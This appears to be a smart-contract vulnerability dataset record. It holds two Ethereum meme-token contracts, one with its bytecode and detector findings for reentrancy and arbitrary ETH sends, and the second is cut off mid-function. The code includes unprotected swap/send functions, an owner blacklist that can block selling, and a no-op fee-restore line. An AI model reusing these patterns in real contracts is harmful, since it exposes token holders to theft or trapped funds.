address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ELONLGBTQ is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "Elon LGBTQ"; string private constant _symbol = "ELONLGBTQ"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 public _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = _tTotal.div(100); emit Transfer(address(_msgSender()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 6; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // buy require(amount <= _maxTxAmount); require(tradingOpen); } if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]&&to == uniswapV2Pair){ require(!bots[from] && !bots[to]); _feeAddr1 = 4; _feeAddr2 = 6; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function increaseMaxTx(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function addSwap() external onlyOwner { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiq() external onlyOwner{ uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function enableTrading() external onlyOwner{ tradingOpen = true; } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){ bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c80637d1db4a5116100ab578063a9059cbb1161006f578063a9059cbb14610336578063b515566a14610356578063c3c8cd8014610376578063d91a21a61461038b578063dd62ed3e146103ab578063e9e1831a146103f157600080fd5b80637d1db4a51461029c5780638a259e6c146102b25780638a8c523c146102c75780638da5cb5b146102dc57806395d89b411461030457600080fd5b8063313ce567116100f2578063313ce567146102165780635932ead1146102325780636fc3eaec1461025257806370a0823114610267578063715018a61461028757600080fd5b806306fdde031461013a578063095ea7b31461017f57806318160ddd146101af57806323b872dd146101d4578063273123b7146101f457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600a815269456c6f6e204c4742545160b01b60208201525b604051610176919061162d565b60405180910390f35b34801561018b57600080fd5b5061019f61019a3660046116a7565b610406565b6040519015158152602001610176565b3480156101bb57600080fd5b5067016345785d8a00005b604051908152602001610176565b3480156101e057600080fd5b5061019f6101ef3660046116d3565b61041d565b34801561020057600080fd5b5061021461020f366004611714565b610486565b005b34801561022257600080fd5b5060405160098152602001610176565b34801561023e57600080fd5b5061021461024d36600461173f565b6104da565b34801561025e57600080fd5b50610214610522565b34801561027357600080fd5b506101c6610282366004611714565b61052f565b34801561029357600080fd5b50610214610551565b3480156102a857600080fd5b506101c6600f5481565b3480156102be57600080fd5b506102146105c5565b3480156102d357600080fd5b50610214610792565b3480156102e857600080fd5b506000546040516001600160a01b039091168152602001610176565b34801561031057600080fd5b50604080518082019091526009815268454c4f4e4c4742545160b81b6020820152610169565b34801561034257600080fd5b5061019f6103513660046116a7565b6107d1565b34801561036257600080fd5b50610214610371366004611772565b6107de565b34801561038257600080fd5b50610214610932565b34801561039757600080fd5b506102146103a6366004611837565b610948565b3480156103b757600080fd5b506101c66103c6366004611850565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103fd57600080fd5b506102146109a2565b6000610413338484610b64565b5060015b92915050565b600061042a848484610c88565b61047c843361047785604051806060016040528060288152602001611a4d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fa2565b610b64565b5060019392505050565b6000546001600160a01b031633146104b95760405162461bcd60e51b81526004016104b090611889565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105045760405162461bcd60e51b81526004016104b090611889565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b4761052c81610fdc565b50565b6001600160a01b03811660009081526002602052604081205461041790611016565b6000546001600160a01b0316331461057b5760405162461bcd60e51b81526004016104b090611889565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105ef5760405162461bcd60e51b81526004016104b090611889565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561062b308267016345785d8a0000610b64565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610669573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068d91906118be565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fe91906118be565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561074b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076f91906118be565b600e80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146107bc5760405162461bcd60e51b81526004016104b090611889565b600e805460ff60a01b1916600160a01b179055565b6000610413338484610c88565b6000546001600160a01b031633146108085760405162461bcd60e51b81526004016104b090611889565b60005b815181101561092e57600d5482516001600160a01b0390911690839083908110610837576108376118db565b60200260200101516001600160a01b0316141580156108885750600e5482516001600160a01b0390911690839083908110610874576108746118db565b60200260200101516001600160a01b031614155b80156108bf5750306001600160a01b03168282815181106108ab576108ab6118db565b60200260200101516001600160a01b031614155b1561091c576001600660008484815181106108dc576108dc6118db565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061092681611907565b91505061080b565b5050565b600061093d3061052f565b905061052c81611093565b6000546001600160a01b031633146109725760405162461bcd60e51b81526004016104b090611889565b6000811161097f57600080fd5b61099c606461099667016345785d8a00008461120d565b90610b1b565b600f5550565b6000546001600160a01b031633146109cc5760405162461bcd60e51b81526004016104b090611889565b600d546001600160a01b031663f305d71947306109e88161052f565b6000806109fd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a65573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8a9190611920565b5050600e805461ffff60b01b19811661010160b01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610af7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052c919061194e565b6000610b5d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061128f565b9392505050565b6001600160a01b038316610bc65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b0565b6001600160a01b038216610c275760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cec5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b0565b6001600160a01b038216610d4e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b0565b60008111610db05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b0565b6002600a556006600b556000546001600160a01b03848116911614801590610de657506000546001600160a01b03838116911614155b15610f9257600e546001600160a01b038481169116148015610e165750600d546001600160a01b03838116911614155b8015610e3b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e505750600e54600160b81b900460ff165b15610e7a57600f54811115610e6457600080fd5b600e54600160a01b900460ff16610e7a57600080fd5b600d546001600160a01b03848116911614801590610eb157506001600160a01b03831660009081526005602052604090205460ff16155b8015610eca5750600e546001600160a01b038381169116145b15610f25576001600160a01b03831660009081526006602052604090205460ff16158015610f1157506001600160a01b03821660009081526006602052604090205460ff16155b610f1a57600080fd5b6004600a556006600b555b6000610f303061052f565b600e54909150600160a81b900460ff16158015610f5b5750600e546001600160a01b03858116911614155b8015610f705750600e54600160b01b900460ff165b15610f9057610f7e81611093565b478015610f8e57610f8e47610fdc565b505b505b610f9d8383836112bd565b505050565b60008184841115610fc65760405162461bcd60e51b81526004016104b0919061162d565b506000610fd3848661196b565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561092e573d6000803e3d6000fd5b600060085482111561107d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104b0565b60006110876112c8565b9050610b5d8382610b1b565b600e805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110db576110db6118db565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611134573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115891906118be565b8160018151811061116b5761116b6118db565b6001600160a01b039283166020918202929092010152600d546111919130911684610b64565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ca908590600090869030904290600401611982565b600060405180830381600087803b1580156111e457600080fd5b505af11580156111f8573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b60008260000361121f57506000610417565b600061122b83856119f3565b9050826112388583611a12565b14610b5d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b0565b600081836112b05760405162461bcd60e51b81526004016104b0919061162d565b506000610fd38486611a12565b610f9d8383836112eb565b60008060006112d56113e2565b90925090506112e48282610b1b565b9250505090565b6000806000806000806112fd87611422565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061132f908761147f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461135e90866114c1565b6001600160a01b03891660009081526002602052604090205561138081611520565b61138a848361156a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113cf91815260200190565b60405180910390a3505050505050505050565b600854600090819067016345785d8a00006113fd8282610b1b565b8210156114195750506008549267016345785d8a000092509050565b90939092509050565b600080600080600080600080600061143f8a600a54600b5461158e565b925092509250600061144f6112c8565b905060008060006114628e8787876115dd565b919e509c509a509598509396509194505050505091939550919395565b6000610b5d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fa2565b6000806114ce8385611a34565b905083811015610b5d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b0565b600061152a6112c8565b90506000611538838361120d565b3060009081526002602052604090205490915061155590826114c1565b30600090815260026020526040902055505050565b600854611577908361147f565b60085560095461158790826114c1565b6009555050565b60008080806115a26064610996898961120d565b905060006115b560646109968a8961120d565b905060006115cd826115c78b8661147f565b9061147f565b9992985090965090945050505050565b60008080806115ec888661120d565b905060006115fa888761120d565b90506000611608888861120d565b9050600061161a826115c7868661147f565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561165a5785810183015185820160400152820161163e565b8181111561166c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052c57600080fd5b80356116a281611682565b919050565b600080604083850312156116ba57600080fd5b82356116c581611682565b946020939093013593505050565b6000806000606084860312156116e857600080fd5b83356116f381611682565b9250602084013561170381611682565b929592945050506040919091013590565b60006020828403121561172657600080fd5b8135610b5d81611682565b801515811461052c57600080fd5b60006020828403121561175157600080fd5b8135610b5d81611731565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561178557600080fd5b823567ffffffffffffffff8082111561179d57600080fd5b818501915085601f8301126117b157600080fd5b8135818111156117c3576117c361175c565b8060051b604051601f19603f830116810181811085821117156117e8576117e861175c565b60405291825284820192508381018501918883111561180657600080fd5b938501935b8285101561182b5761181c85611697565b8452938501939285019261180b565b98975050505050505050565b60006020828403121561184957600080fd5b5035919050565b6000806040838503121561186357600080fd5b823561186e81611682565b9150602083013561187e81611682565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118d057600080fd5b8151610b5d81611682565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611919576119196118f1565b5060010190565b60008060006060848603121561193557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561196057600080fd5b8151610b5d81611731565b60008282101561197d5761197d6118f1565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119d25784516001600160a01b0316835293830193918301916001016119ad565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611a0d57611a0d6118f1565b500290565b600082611a2f57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611a4757611a476118f1565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202a5a60d81ea0f37da3ce19ec121cd2f123b8ecf0fcaf421237f63dcc639a958a64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,077
0x7cec018ceef82339ee583fd95446334f2685d24f
/** *Submitted for verification at Etherscan.io on 2021-06-08 */ // SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract VIRALETHEREUM is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Viral Ethereum"; string private constant _symbol = "eViral \xF0\x9F\xA7\xAC"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 2718281828459 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public _eViralBurned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; address payable private _developmentFunds; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool public tradeAllowed = false; bool private liquidityAdded = false; bool private inSwap = false; bool public swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _reflection = 7; uint256 private _teamFee = 7; uint256 private _viralBurn = 1; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2, address payable addr3) { _teamAddress = addr1; _marketingFunds = addr2; _developmentFunds = addr3; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; _isExcludedFromFee[_developmentFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function releaseEViral() public onlyOwner { require(liquidityAdded); tradeAllowed = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 8154845485 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setCooldownEnabled(bool enable) external onlyOwner() { cooldownEnabled = enable; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradeAllowed); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (45 seconds); _teamFee = 7; _reflection = 3; _viralBurn = 0; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(271828).div(10000000) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (3 hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (7 hours); } else if (sellnumber[from] == 4) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (1 days); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function removeAllFee() private { if (_reflection == 0 && _teamFee == 0 && _viralBurn == 0) return; _reflection = 0; _teamFee = 0; _viralBurn = 0; } function restoreAllFee() private { _reflection = 7; _teamFee = 7; _viralBurn = 1; } function setFee(uint256 multiplier) private { _reflection = _reflection.mul(multiplier); _viralBurn = _viralBurn.mul(multiplier); _teamFee = 7; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 amount) private { (uint256 tAmount, uint256 tBurn) = _viralEthBurn(amount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount, tBurn); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _viralEthBurn(uint amount) private returns (uint, uint) { uint orgAmount = amount; uint256 currentRate = _getRate(); uint256 tBurn = amount.mul(_viralBurn).div(100); uint256 rBurn = tBurn.mul(currentRate); _tTotal = _tTotal.sub(tBurn); _rTotal = _rTotal.sub(rBurn); _eViralBurned = _eViralBurned.add(tBurn); return (orgAmount, tBurn); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount, uint256 tBurn) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 